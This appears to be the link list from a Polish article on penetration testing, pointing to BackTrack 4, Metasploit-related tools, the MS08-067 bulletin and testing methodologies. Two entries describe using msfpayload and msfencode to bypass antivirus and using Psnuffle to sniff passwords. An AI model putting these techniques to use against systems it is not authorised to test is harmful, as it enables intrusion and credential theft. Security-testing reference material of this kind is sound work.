•   http://www.hcsl.pl/2010/01/ukaza-sie-dugo-oczekiwany-linuks.html – ukazał się długo 

oczekiwany Linux BackTrack 4 Final!,

•   http://sourceforge.net/projects/inguma/ – free penetration testing toolkit,
•   http://www.thepentest.com/ – Fast-Track penetration testing toolkit,
•   http://www.backtrack-linux.org/ – nowa strona domowa projektu Linux BackTrack,
•   http://www.irongeek.com/i.php?page=videos/msfpayload-msfencoder-metasploit-3-3 

– Using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus,

•   http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx – Microsoft Security 

Bulletin MS08-067 – Critical,

•   http://dradisframework.org/ – Dradis Framework,
•   http://www.coresecurity.com/content/core-impact-overview – strona domowa komercyjnego 

środowiska do testów penetracyjnych CORE IMPACT PRO,

•   http://www.isecom.org/osstmm/ – Open Source Security Testing Methodology Manual,
•   http://vimeo.com/6013518 – przykład zastosowania modułu Psnuffle do podsłuchiwania 

haseł.